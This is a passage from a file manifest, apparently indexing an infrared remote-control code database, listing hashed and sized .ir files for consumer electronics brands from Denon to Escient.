-F:2ba1dcf67c0b68ca8adc761ac7c99630:2619:infrared/_CSV-IRDB_/Denon/Receiver/7,5.ir -F:2f6669e4c014ad72df3676d098654286:5593:infrared/_CSV-IRDB_/Denon/Receiver/7,6.ir -F:b732559173cf61bf480b56308fdc042a:3730:infrared/_CSV-IRDB_/Denon/Receiver/7,7.ir -F:b41c6f84a751e2aefa163160ff945b72:3649:infrared/_CSV-IRDB_/Denon/Receiver/7,8.ir -F:76227dfab6db5f8aa4f67812857c6c0f:9327:infrared/_CSV-IRDB_/Denon/Receiver/8,-1.ir -F:0b4e168fe0669ad5963bd75f617af934:636:infrared/_CSV-IRDB_/Denon/Receiver/80,-1.ir -F:2a7e70a6eec668547d878638df6c66f7:930:infrared/_CSV-IRDB_/Denon/Receiver/96,-1.ir -F:a9d1bc0d178f261d7e3c25e1897da025:133:infrared/_CSV-IRDB_/Denon/Receiver/97,-1.ir -F:ce1fa08a9138d47da1537f36ae8c28e7:4938:infrared/_CSV-IRDB_/Denon/Tuner/12,-1.ir -F:769cf1816096f298a6da846e241f0f3c:1245:infrared/_CSV-IRDB_/Denon/Tuner/2,-1.ir -F:1f3357a0cfc256244f6372052c311e3d:3325:infrared/_CSV-IRDB_/Denon/Unknown/176,0.ir -F:3d5c646781a46be6a9bfee8f2a49fe6d:3224:infrared/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir -F:3e19bf73db971f5d7a61758fd5a1a4a5:2333:infrared/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir -F:f56bfd1857a4cc0be74690b8d47bfa44:2341:infrared/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir -F:f426de8df7d75a7364cf8b5f88090609:2410:infrared/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir -F:d2d7288527be7ddd0cb6dbd1691ea897:3490:infrared/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir -F:9e314b4d79bfbcc276d21b1b69c28db1:4881:infrared/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir -F:efcbc12cf047eb128f8e20d0fddcb80c:2776:infrared/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir -F:a4d833f3f098bd12b38256b95882363c:3216:infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir -F:eb0fa67051fc99f0ed4330175678fee4:3386:infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir -D:infrared/_CSV-IRDB_/Denver/Unknown_DVD-228 -F:336651d249102cff8fd1e5bf657c10d4:4010:infrared/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir -D:infrared/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T -D:infrared/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T -D:infrared/_CSV-IRDB_/Digiquest/DVB-T -F:672aa943ecc92bbfa8ed78a1dd3cf36b:3685:infrared/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir -F:af908d1449a317887c7d19e1c03b6eb6:3583:infrared/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir -F:76a1b1ea2bbddde1d8169318f44a368e:2985:infrared/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir -D:infrared/_CSV-IRDB_/Digital Music Expres/DMX -F:4819909fa99a7be9b3480ed9c376c5cf:1939:infrared/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir -D:infrared/_CSV-IRDB_/Digital Projection/Projector -D:infrared/_CSV-IRDB_/Digital Projection/Video Projector -D:infrared/_CSV-IRDB_/Digital Projection/Video Scaler -F:462adfd17a199faf0958e25e0072e85c:3951:infrared/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir -F:bd8716d05349c7ad6e2cfdefb8a46321:6645:infrared/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir -F:2b14b3879ee149c31615dcf96a1a4411:2302:infrared/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir -D:infrared/_CSV-IRDB_/Digital Stream/HDTV Tuner -D:infrared/_CSV-IRDB_/Digital Stream/Unknown_Stream -F:2bd4c0eb4acfe6146b3ffdf09fbf4a1e:3064:infrared/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir -F:48a31409543ca9d28cd9cb71438bf9e8:2878:infrared/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir -D:infrared/_CSV-IRDB_/DigitalView/HDTV Tuner -F:428f89be4b42a8a6ddb16ef6f2b49f5f:2848:infrared/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir -D:infrared/_CSV-IRDB_/DirecTV/Basic Satellite -D:infrared/_CSV-IRDB_/DirecTV/DSS -D:infrared/_CSV-IRDB_/DirecTV/DVR -D:infrared/_CSV-IRDB_/DirecTV/HDTV Tuner -D:infrared/_CSV-IRDB_/DirecTV/Receiver HD -D:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR -D:infrared/_CSV-IRDB_/DirecTV/Receiver SD -D:infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR -D:infrared/_CSV-IRDB_/DirecTV/Satellite -D:infrared/_CSV-IRDB_/DirecTV/Unknown -D:infrared/_CSV-IRDB_/DirecTV/Unknown_G051204 -D:infrared/_CSV-IRDB_/DirecTV/Unknown_H23 -D:infrared/_CSV-IRDB_/DirecTV/Unknown_HD20-100 -D:infrared/_CSV-IRDB_/DirecTV/Unknown_RC16 -D:infrared/_CSV-IRDB_/DirecTV/Unknown_RC32 -D:infrared/_CSV-IRDB_/DirecTV/Unknown_RC64 -F:5e1b29fa43cbd5df3d8af64b1d2eaf31:3588:infrared/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir -F:648c6c11e607af14b2162c69522c35af:2176:infrared/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir -F:c3025c451a5a4a29b1bf03db933a81f3:4593:infrared/_CSV-IRDB_/DirecTV/DSS/12,-1.ir -F:09977e6ba8a7bd6fcc0b91ebefffd817:6279:infrared/_CSV-IRDB_/DirecTV/DVR/133,48.ir -F:c077b58e36efbee8d877b56bb6eefeb9:3125:infrared/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir -F:cb6e02113c21f00d10c258cb07262b29:5803:infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir -F:dded803fd043a00c3aeb26cf78954882:216:infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir -F:a27eb401c65165e82a6c15c24e5d75bf:3769:infrared/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir -F:426f8faa86bd22b6ebdb5c88b34ef300:7374:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir -F:39ee8d3e14c6c3bfa51a4d5eeb9476c8:3634:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir -F:fd8fe1c57f50b67ee25d3b9c3b74bba0:4205:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir -F:e72c99b648c2d7559b58c7f080b61179:4119:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir -F:2bb07ee7628ada936b5b260b8ba7ed22:442:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir -F:b5d27d0cf9b6835ea61972195e7a2485:199:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir -F:eb258a6837effe6cfe65966695bf85b9:3622:infrared/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir -F:987b60b1dea970b7f06636ca472f4419:3627:infrared/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir -F:d446af7a701814b26253e8c56b40ea0b:4010:infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir -F:b1b3782c0e74593ab86188f3d1f72a4d:2815:infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir -F:d743ccb936eecbfeea6e651be2f03793:7834:infrared/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir -F:2f011b370aa3f041d850b257ec056500:4104:infrared/_CSV-IRDB_/DirecTV/Satellite/133,48.ir -F:f70befe76679be23ab9a98ce1721d3bc:118:infrared/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir -F:544d11b4e5728eed6ee83c20b226a74b:401:infrared/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir -F:dded803fd043a00c3aeb26cf78954882:216:infrared/_CSV-IRDB_/DirecTV/Unknown/12,251.ir -F:2284822c11d4896ce06bcdac8e45a575:3598:infrared/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir -F:ce834102e002d7a6b0a9dda81bb14aa3:3081:infrared/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir -F:b42e81bc46e7290229da90509f4ac14b:2220:infrared/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir -F:231e0ba2bc4bfac2657e293257d32202:3494:infrared/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir -F:f0b6efd63f10fd6c6b53382edb263e10:3077:infrared/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir -F:06fbe2a5624f553909ca953b742920e0:3885:infrared/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir -D:infrared/_CSV-IRDB_/Dish Network/Satelite DVR -D:infrared/_CSV-IRDB_/Dish Network/Satellite -F:ee4eff154b249d686b1aa30ecb07b3cd:3688:infrared/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir -F:2a70de7ab02bde195980eb99374270b4:2327:infrared/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir -F:ecf8f4229cca7add5602f9e482e84383:300:infrared/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir -F:ac8e1d5de888d9c932cecc24d135b2f9:9692:infrared/_CSV-IRDB_/Dish Network/Satellite/0,0.ir -F:b6728f6d8a2b1844556073cb77588db9:3413:infrared/_CSV-IRDB_/Dish Network/Satellite/0,1.ir -F:37109e51a49582265ae5bab52a4817f8:2350:infrared/_CSV-IRDB_/Dish Network/Satellite/0,12.ir -F:9b89d3dd209d87a2e78e25e00c0c909e:2555:infrared/_CSV-IRDB_/Dish Network/Satellite/0,2.ir -F:5e36e5cc1dcf008752b113e002b17d8a:2555:infrared/_CSV-IRDB_/Dish Network/Satellite/0,3.ir -F:877acf9788edbaf5706cbaa4969ac704:230:infrared/_CSV-IRDB_/Dish Network/Satellite/0,31.ir -F:a30738fe5da358d922d5a3e3e97f48dd:4142:infrared/_CSV-IRDB_/Dish Network/Satellite/0,4.ir -F:02ec4f54f1fe0a5e87f0905cf9f01043:3931:infrared/_CSV-IRDB_/Dish Network/Satellite/0,5.ir -F:93788659aa72017c308432f0d758523f:3519:infrared/_CSV-IRDB_/Dish Network/Satellite/0,6.ir -F:9517b901685f521debb4f40a81afe5f0:4142:infrared/_CSV-IRDB_/Dish Network/Satellite/0,7.ir -F:a6f082a3367d31c2a23c3b53cebb696b:4419:infrared/_CSV-IRDB_/Dish Network/Satellite/1,0.ir -F:a6d79dceac71ba377c798a000781dd6f:393:infrared/_CSV-IRDB_/Dish Network/Satellite/1,1.ir -F:0cf6714f1c4d92d89b9fb8208c1b2e8b:828:infrared/_CSV-IRDB_/Dish Network/Satellite/1,12.ir -F:058094d065e2a84ca0e77b621b437ce2:305:infrared/_CSV-IRDB_/Dish Network/Satellite/1,2.ir -F:a939251a48e85db8baef865ca2e19906:305:infrared/_CSV-IRDB_/Dish Network/Satellite/1,3.ir -F:115b1dfd070010e237ec51e1c113c915:1627:infrared/_CSV-IRDB_/Dish Network/Satellite/1,4.ir -F:719780ecd02137d9070b530c4bc823c7:1518:infrared/_CSV-IRDB_/Dish Network/Satellite/1,5.ir -F:abb42886d8ab6a5eb9560b43fa443676:1607:infrared/_CSV-IRDB_/Dish Network/Satellite/1,6.ir -F:65ef6da4dfa6f11963f966fc6cd4df79:1348:infrared/_CSV-IRDB_/Dish Network/Satellite/1,7.ir -F:ecf8f4229cca7add5602f9e482e84383:300:infrared/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir -F:a2c5d78e8b80839136096d805b8a86ae:379:infrared/_CSV-IRDB_/Dish Network/Satellite/16,0.ir -F:08f0034d4352258df91de7e2b0563925:1069:infrared/_CSV-IRDB_/Dish Network/Satellite/24,0.ir -F:e47b6eaec1ea66a776ad3e454864df5f:215:infrared/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir -F:77179f916ca3fb3aa18b5a34fbf0ab76:121:infrared/_CSV-IRDB_/Dish Network/Satellite/4,0.ir -F:503c45288e973761bab90f5a0fb3ab0f:123:infrared/_CSV-IRDB_/Dish Network/Satellite/4,5.ir -F:709a114cd1ecd5c8c52f8b629fb16096:300:infrared/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir -F:1fed024d6ac4dae4f157483d53f6ce6f:209:infrared/_CSV-IRDB_/Dish Network/Satellite/8,0.ir -D:infrared/_CSV-IRDB_/Domland/Unknown_domland-MH10CA -F:e2a904dbb0d449098eeabca906c5f7af:1544:infrared/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir -D:infrared/_CSV-IRDB_/Draper/Dropdown Screen -D:infrared/_CSV-IRDB_/Draper/Electric Screen -D:infrared/_CSV-IRDB_/Draper/Screen -F:d2131e72093071a0af1836423153e155:290:infrared/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir -F:d2131e72093071a0af1836423153e155:290:infrared/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir -F:d2131e72093071a0af1836423153e155:290:infrared/_CSV-IRDB_/Draper/Screen/0,-1.ir -F:380764a8584bba8cd7f585d140a6a952:290:infrared/_CSV-IRDB_/Draper/Screen/2,-1.ir -D:infrared/_CSV-IRDB_/Dream/Satellite -F:35695d56182054487beb45cfaa4dc6fd:3183:infrared/_CSV-IRDB_/Dream/Satellite/0,-1.ir -F:5072e90f84f6d24d467debe1ed8256d6:368:infrared/_CSV-IRDB_/Dream/Satellite/10,0.ir -F:08d296eccbd5d4489cee891ebb68b50c:126:infrared/_CSV-IRDB_/Dream/Satellite/11,0.ir -F:ad05c44176a6979010440cbeaaa910ea:546:infrared/_CSV-IRDB_/Dream/Satellite/25,0.ir -F:0bd53a27c17e4d3c994e4f795c61b585:11457:infrared/_CSV-IRDB_/Dream/Satellite/26,0.ir -F:2e5b72d9eb09fd0a1917d349b72d115d:210:infrared/_CSV-IRDB_/Dream/Satellite/41,0.ir -D:infrared/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562 -F:b377ae41479c5fdb9df08ffc5525180f:2782:infrared/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir -D:infrared/_CSV-IRDB_/Dream Vision/DLP Projector -F:81f988b5e54f52c0c1859de024249190:3651:infrared/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir -D:infrared/_CSV-IRDB_/Durabrand/Unknown_PTV141 -F:670cf42311e4c969330c98b4077ebef4:2797:infrared/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir -D:infrared/_CSV-IRDB_/Dwin/Line Multiplier -D:infrared/_CSV-IRDB_/Dwin/Plasma -D:infrared/_CSV-IRDB_/Dwin/Projector -D:infrared/_CSV-IRDB_/Dwin/TV -D:infrared/_CSV-IRDB_/Dwin/Video Processor -D:infrared/_CSV-IRDB_/Dwin/Video Projector -F:69565b58fbd058400cd242bf7a4c7458:2929:infrared/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir -F:7ecc44651842901a9fe4f721cbb81fca:1949:infrared/_CSV-IRDB_/Dwin/Plasma/15,-1.ir -F:67703857157292e1c244ade4aeaae109:1877:infrared/_CSV-IRDB_/Dwin/Projector/15,-1.ir -F:90932a8129d9a4cac941d317b7f513a5:2277:infrared/_CSV-IRDB_/Dwin/TV/15,-1.ir -F:b61a7bde1afca6f8277f5f311581c186:3883:infrared/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir -F:1c0124f1cef47ee86c3d3023a262be78:124:infrared/_CSV-IRDB_/Dwin/Video Processor/7,0.ir -F:3ccdae8fbe4568c93c775e4b92b3919d:7710:infrared/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir -F:1c0124f1cef47ee86c3d3023a262be78:124:infrared/_CSV-IRDB_/Dwin/Video Projector/7,0.ir -D:infrared/_CSV-IRDB_/Dynaudio/Unknown_Sub -F:cce298981560cb7c341267eba2ce7718:1467:infrared/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir -D:infrared/_CSV-IRDB_/Dynex/Unknown_DX-CVS4 -F:6a637fa26541dd55e29ad067f2f46dfb:381:infrared/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir -D:infrared/_CSV-IRDB_/E Max/DVD Player -F:fc976288637fb9fbaa237f0fee88783f:3648:infrared/_CSV-IRDB_/E Max/DVD Player/0,223.ir -D:infrared/_CSV-IRDB_/E-tech/Unknown_FLY98 -F:ba3a7c57c426692bdd6ebe9a85a0c4d7:2701:infrared/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir -D:infrared/_CSV-IRDB_/ELTASAT/Unknown_SAT170 -F:30cf3f7923f8b5cf83567a33b7ca292e:1886:infrared/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir -D:infrared/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R -F:0bc81ee43953104a0b4818c651d17791:3149:infrared/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir -D:infrared/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen -F:eea7baa8cc68d58ddfb3ff919c43d95e:1697:infrared/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir -D:infrared/_CSV-IRDB_/Echostar/DSS -D:infrared/_CSV-IRDB_/Echostar/DVR -D:infrared/_CSV-IRDB_/Echostar/Dish Network -D:infrared/_CSV-IRDB_/Echostar/PVR SAT -D:infrared/_CSV-IRDB_/Echostar/Satelite DVR -D:infrared/_CSV-IRDB_/Echostar/Satellite -D:infrared/_CSV-IRDB_/Echostar/Unknown_AD3000IP -D:infrared/_CSV-IRDB_/Echostar/Unknown_DSB-616 -D:infrared/_CSV-IRDB_/Echostar/Unknown_DSB-636 -F:78f71e751a8ddd1f30b4e1b3ce6a3692:1916:infrared/_CSV-IRDB_/Echostar/DSS/0,0.ir -F:52051fc426a05c852a2e10f5a6c9a48f:2517:infrared/_CSV-IRDB_/Echostar/DVR/0,0.ir -F:1a34326adcd53a33669d354b41b5834d:1076:infrared/_CSV-IRDB_/Echostar/DVR/1,0.ir -F:c9f4532ab140355a15eb0c6ba7405fc9:1987:infrared/_CSV-IRDB_/Echostar/Dish Network/0,0.ir -F:5466e957b89fd7d1d1c9e2d12032c618:2169:infrared/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir -F:14a5b40f66f9fa3e816633a7336358ef:830:infrared/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir -F:2093e79b9cec58c2eb4c5b786e27ea67:3962:infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir -F:7a815ee9dd366b411230a798604a1e93:2499:infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir -F:171d4378d0f8f83e4585884039f66016:2484:infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir -F:882d1413afdd06b046219108e55a3e93:832:infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir -F:29e4a7629d625112fd7bd1c58eda708f:217:infrared/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir -F:db8d78ccdba1f857713e2b54577ad194:4171:infrared/_CSV-IRDB_/Echostar/Satellite/0,0.ir -F:158b1aca3b9d81c564c86d88553fb244:1167:infrared/_CSV-IRDB_/Echostar/Satellite/1,0.ir -F:a842385e1943d58d0a356ff70f3644b7:207:infrared/_CSV-IRDB_/Echostar/Satellite/16,0.ir -F:b2c1043807f1f7c60379320d13753dab:300:infrared/_CSV-IRDB_/Echostar/Satellite/4,-1.ir -F:5d276176a0e6c017200d1b6ebc4ede4a:2598:infrared/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir -F:56f4433085a20067a61e1cb9ae8503a5:3137:infrared/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir -F:34891f0614cddb99016c850bd3dbb3e3:2871:infrared/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir -D:infrared/_CSV-IRDB_/Elan/Camera Switcher -D:infrared/_CSV-IRDB_/Elan/DMX -D:infrared/_CSV-IRDB_/Elan/DVD Manager -D:infrared/_CSV-IRDB_/Elan/HD -D:infrared/_CSV-IRDB_/Elan/IR Router -D:infrared/_CSV-IRDB_/Elan/Jukebox -D:infrared/_CSV-IRDB_/Elan/Master Controller -D:infrared/_CSV-IRDB_/Elan/Pre-Amplifier -D:infrared/_CSV-IRDB_/Elan/Satellite Radio -D:infrared/_CSV-IRDB_/Elan/Tuner -D:infrared/_CSV-IRDB_/Elan/Video Controller -D:infrared/_CSV-IRDB_/Elan/Video Switcher -D:infrared/_CSV-IRDB_/Elan/Volume Control -F:7f5093285507f3373b1794f8682543dd:1285:infrared/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir -F:5b6c3dfd8de6a09743aecfef90784b90:3319:infrared/_CSV-IRDB_/Elan/DMX/100,-1.ir -F:229f15cf778972197634e147a44ed3b1:3368:infrared/_CSV-IRDB_/Elan/DMX/14,-1.ir -F:bce26eb63f5794951864ede3745e50f0:3271:infrared/_CSV-IRDB_/Elan/DMX/96,-1.ir -F:822a8548bbb80e3eb28f90a6954cf855:3282:infrared/_CSV-IRDB_/Elan/DMX/99,-1.ir -F:bfb56e716008400c49a4c2b4fd91b9ec:4085:infrared/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir -F:f0665da9f73c4ff797dd2257809a8ace:1008:infrared/_CSV-IRDB_/Elan/HD/0,-1.ir -F:cbadfa3b29450a9b549553cf0b484d5b:4417:infrared/_CSV-IRDB_/Elan/HD/1,-1.ir -F:dbefe2f7b6fe764b94f3230386cf9c00:118:infrared/_CSV-IRDB_/Elan/HD/2,-1.ir -F:9e8544360fc75562e75b81bc658d6bb1:3972:infrared/_CSV-IRDB_/Elan/HD/4,-1.ir -F:0eb161b311cd3a4d0ed9613b13346294:3499:infrared/_CSV-IRDB_/Elan/HD/5,-1.ir -F:1d8e6700a6cb260f4ee7d887d66478c9:224:infrared/_CSV-IRDB_/Elan/IR Router/1,-1.ir -F:d3863ca67b0dc153f923ea7a47f93da6:2787:infrared/_CSV-IRDB_/Elan/IR Router/2,-1.ir -F:6c1fb5d5852da5e3283d6cbcf5608534:1157:infrared/_CSV-IRDB_/Elan/Jukebox/96,-1.ir -F:d88bfbbe5e3730377bb6cdcae7955f6d:736:infrared/_CSV-IRDB_/Elan/Master Controller/0,-1.ir -F:20d39f51052908eac08d435ed471829c:1512:infrared/_CSV-IRDB_/Elan/Master Controller/1,-1.ir -F:e3b4aa72523adcc53db10557c995ca3e:1144:infrared/_CSV-IRDB_/Elan/Master Controller/5,-1.ir -F:7fecbe0c38c0ec16f0ec237a948c8b23:2566:infrared/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir -F:70f3ef0409748d6790c2781fc7406121:1913:infrared/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir -F:17be87948bf30aafb60318a3870b21c7:3618:infrared/_CSV-IRDB_/Elan/Tuner/129,115.ir -F:ce91d73926439cdc2e32421a59b8bbe9:2110:infrared/_CSV-IRDB_/Elan/Video Controller/0,-1.ir -F:df316e6da94824f85cab64d4ce462d4c:2546:infrared/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir -F:3e728b38d925cdc5a7f4b088cdebc35a:709:infrared/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir -F:2582d52e40edd0763bc22349eeab3028:372:infrared/_CSV-IRDB_/Elan/Volume Control/0,-1.ir -F:afd7bd9f16ae4fa9e16bef80f04f3128:479:infrared/_CSV-IRDB_/Elan/Volume Control/1,241.ir -F:15b5a226f079da479fdae10c008f5fad:121:infrared/_CSV-IRDB_/Elan/Volume Control/255,15.ir -D:infrared/_CSV-IRDB_/Electrocompaniet/CD Player -D:infrared/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier -F:b4f51648a66c47476c9e8a11c85b1301:2231:infrared/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir -F:5bd99818b3f7e30f4e599a7478b0fd4d:722:infrared/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir -D:infrared/_CSV-IRDB_/Electrokinetics/Plasma Lift -F:cd028554d4b2c3826fa5b8a9d8334c7f:128:infrared/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir -D:infrared/_CSV-IRDB_/Elenberg/Unknown_RC-404E -F:60fa0864a5e27e0f9de81e68d82414b4:4285:infrared/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir -D:infrared/_CSV-IRDB_/Elitron/Unknown_utk -F:9e91069409b438cd7642413c178c3c4e:2237:infrared/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir -D:infrared/_CSV-IRDB_/Elmo/CAMERA_PRC-100S -D:infrared/_CSV-IRDB_/Elmo/Camera -D:infrared/_CSV-IRDB_/Elmo/Video Projector -F:57424daced4474d5adb7e4a7ad11fec8:2316:infrared/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir -F:6c41082a6d7a4c8ecc219521d01ea476:2767:infrared/_CSV-IRDB_/Elmo/Camera/128,-1.ir -F:ffdceddc9d8bfa02c3c12939cd043b1d:1133:infrared/_CSV-IRDB_/Elmo/Video Projector/132,132.ir -F:7707170ca85fcec12202f12ab15970bf:1133:infrared/_CSV-IRDB_/Elmo/Video Projector/134,134.ir -D:infrared/_CSV-IRDB_/Emerson/TV -D:infrared/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD -D:infrared/_CSV-IRDB_/Emerson/Unknown_emerson -D:infrared/_CSV-IRDB_/Emerson/Unknown_emerson-cd -D:infrared/_CSV-IRDB_/Emerson/Unknown_emersontv -D:infrared/_CSV-IRDB_/Emerson/VCR -F:d0432921abc596bc59ca801df52bde85:2289:infrared/_CSV-IRDB_/Emerson/TV/0,-1.ir -F:ed7128d9a71256f5341d15cff58677b3:4238:infrared/_CSV-IRDB_/Emerson/TV/135,34.ir -F:34b5070de39c0893a1cde7b784244f8a:3566:infrared/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir -F:ec05489518879a74518e416b8cc25e95:2338:infrared/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir -F:19d0cc9560b2b6c208227b01432655ff:589:infrared/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir -F:ed8b3afbc4d8918883e5f01211ef1ee5:2348:infrared/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir -F:2cf58b222f1b9fef8a1c8ec1687960d3:2501:infrared/_CSV-IRDB_/Emerson/VCR/21,-1.ir -F:911213ce4500d94e4f4283ee9fe8385f:215:infrared/_CSV-IRDB_/Emerson/VCR/4,-1.ir -F:524f535d5b42934a4912c229d309c28b:2082:infrared/_CSV-IRDB_/Emerson/VCR/40,-1.ir -D:infrared/_CSV-IRDB_/Epson/Projector -D:infrared/_CSV-IRDB_/Epson/Unknown_12807990 -D:infrared/_CSV-IRDB_/Epson/Unknown_ELPST12 -D:infrared/_CSV-IRDB_/Epson/Video Projector -F:66028bbd07ad9065529209f064e6f36c:5078:infrared/_CSV-IRDB_/Epson/Projector/131,85.ir -F:a49b3dca6510f387074ab6df3cb86d98:2337:infrared/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir -F:09bb52fe1964ce0c3e9c90fb5fd03c8b:1459:infrared/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir -F:6ec2fa6eae1fdd606884be59ca2fc617:2097:infrared/_CSV-IRDB_/Epson/Video Projector/131,85.ir -D:infrared/_CSV-IRDB_/Escient/CD Jukebox -D:infrared/_CSV-IRDB_/Escient/CD Management -D:infrared/_CSV-IRDB_/Escient/DVD Library -D:infrared/_CSV-IRDB_/Escient/DVD Player -D:infrared/_CSV-IRDB_/Escient/Digital Jukebox -D:infrared/_CSV-IRDB_/Escient/Digital Media Receiver -D:infrared/_CSV-IRDB_/Escient/Hard Drive Recorder -D:infrared/_CSV-IRDB_/Escient/MP3 Player -D:infrared/_CSV-IRDB_/Escient/Media Manager -D:infrared/_CSV-IRDB_/Escient/Media Server -F:558e0e2a96b21d70f5294a4a5efc160b:3267:infrared/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir -F:ff1d7c2086ea59d2af63a1360520f1ed:2848:infrared/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir -F:6d7eab2674acac676b3be74b2138f73d:2527:infrared/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir -F:b38fd5033f98dc43e5143c3402ccd030:118:infrared/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir -F:3b6f889cc923d9bb2b112a482add6536:118:infrared/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir -F:43396274a14569b3d36256265e86ebde:4592:infrared/_CSV-IRDB_/Escient/CD Management/0,0.ir -F:92434cef04183f376bc03f821180d61f:5752:infrared/_CSV-IRDB_/Escient/CD Management/14,0.ir -F:3b6f889cc923d9bb2b112a482add6536:118:infrared/_CSV-IRDB_/Escient/CD Management/91,-1.ir -F:33274d30ee6b822228daf2951c798653:120:infrared/_CSV-IRDB_/Escient/DVD Library/1,22.ir -F:d76aa33604efd77cabdcc873ce63ee52:2991:infrared/_CSV-IRDB_/Escient/DVD Library/8,-1.ir 